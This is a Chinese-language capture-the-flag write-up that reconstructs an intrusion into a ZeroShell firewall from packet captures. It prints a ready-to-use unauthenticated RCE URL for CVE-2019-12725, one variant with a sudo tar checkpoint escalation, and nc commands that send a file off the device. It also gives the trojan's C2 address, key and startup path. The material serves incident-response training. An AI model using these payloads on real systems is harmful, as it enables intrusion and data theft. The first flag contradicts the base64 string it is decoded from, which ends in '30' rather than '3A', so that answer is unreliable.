玄机靶场-2024长城杯&CISCN-威胁流量分析-zeroshell WP

困难级别,800分,应急响应类型。6道题,考的是从流量包里还原一次完整的 ZeroShell 防火墙入侵事件,从漏洞利用到木马植入,再到逆向分析通信密钥,链路很完整。


背景

题目场景:公司网络出口出现异常通信,需要通过回溯出口流量对防火墙设备定位,并确认异常设备。然后进行深度取证检查(需要获取 root 权限)。从网络攻击数据包中找出漏洞攻击的会话,分析会话编写 exp 或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

附件:2e9c01da1d333cb8840968689ed3bc57.7z(270.1MB),解压密码:11b0526b-9cfb-4ac4-8a75-10ad9097b7ce


1. 从流量包中找出漏洞攻击会话的 Flag

打开 pcap 流量包,先在 Wireshark 里搜索关键字 exec,很快就能定位到一个可疑的 HTTP 数据包。这个请求的 URL 里有命令执行的痕迹,追踪该 HTTP 数据包的 TCP 数据流,发现请求头中的 Referer 字段很异常——是一段 base64 字符串。

Referer: ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGMzB9

把这段 base64 丢进 CyberChef 解码:

base64_decode("ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGMzB9")
= flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

Flag 1:flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}


2. 通过漏洞利用获取设备控制权限并找到 Flag 文件

步骤1定位的 HTTP 数据流里,请求中的 x509type 参数可以用来执行命令,这是 ZeroShell 防火墙的历史漏洞 CVE-2019-12725(远程命令执行)。

漏洞利用的 URL 格式如下:

http://[target]/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A[命令]%0A%27

利用该漏洞执行 find / -name "flag" 命令,找到两个 flag 文件路径:

/DB/_DB.001/flag
/Database/flag

继续执行 cat /DB/_DB.001/flagcat /Database/flag,两个文件内容相同:

c6045425-6e6e-41d0-be09-95682a4f65c4

Flag 2:flag{c6045425-6e6e-41d0-be09-95682a4f65c4}


3. 找出驻留木马的外联 IP 地址

拿到 shell 后,在设备上执行 netstat -n -p 查看当前网络连接,在外部地址列表中发现一个特别的 IP:

202.115.89.103

这个 IP 与其他正常的内网通信明显不同,是木马的 C2 外联地址。

Flag 3:flag{202.115.89.103}


4. 找出木马进程执行的本体文件名称

在设备上执行 ls -al /tmpls -al /Database,在 /tmp 目录下发现一个可执行文件:

/tmp/.nginx

文件名以 . 开头做隐藏处理,伪装成 nginx 相关文件,实际是木马本体。

Flag 4:flag{.nginx}


5. 逆向分析木马通信加密密钥

/tmp/.nginx 文件下载到本地(记得先关杀软),方法是用 nc 传输:

在接收端(本地):

nc -lnvp 4444 > back

在设备端(通过 RCE):

nc [本地IP] 4444 < /tmp/.nginx

拿到二进制文件后拖入 IDA Pro,直接搜索字符串,找到一个明文密钥字符串:

11223344qweasdzxc

这就是木马与 C2 通信时使用的加密密钥,以明文形式硬编码在二进制文件中。

Flag 5:flag{11223344qweasdzxc}


6. 找出驻留木马的启动项路径

运行 .nginx 之后,在 /tmp 目录会出现循环进程保活的机制。用 grep/var 目录下全局搜索 .nginx 的引用:

grep -r ".nginx" /var

也可以通过 ZeroShell 的 RCE 漏洞执行:

http://[target]/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27grep -r ".nginx" /var%27%0A%27

/var/register/system/startup/scripts/nat/ 目录下找到了启动脚本 File,里面包含了对 .nginx 的调用,这就是木马的持久化启动项。

Flag 6:flag{/var/register/system/startup/scripts/nat/File}


总结

这道题完整还原了一次针对 ZeroShell 防火墙的入侵事件:攻击者利用 CVE-2019-12725 无需认证的 RCE 漏洞,通过构造恶意 x509type 参数执行系统命令,在设备上植入伪装成 .nginx 的木马,并在 /var/register/system/startup/scripts/nat/File 中写入启动项实现持久化,最终与 C2 服务器 202.115.89.103 建立加密通信(密钥 11223344qweasdzxc)。

Flag 汇总:

步骤内容Flag
1攻击会话中的 Flag(Referer base64解码)flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
2设备上的 Flag 文件内容flag{c6045425-6e6e-41d0-be09-95682a4f65c4}
3木马外联 IP 地址flag{202.115.89.103}
4木马本体文件名flag{.nginx}
5通信加密密钥flag{11223344qweasdzxc}
6木马启动项完整路径flag{/var/register/system/startup/scripts/nat/File}
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐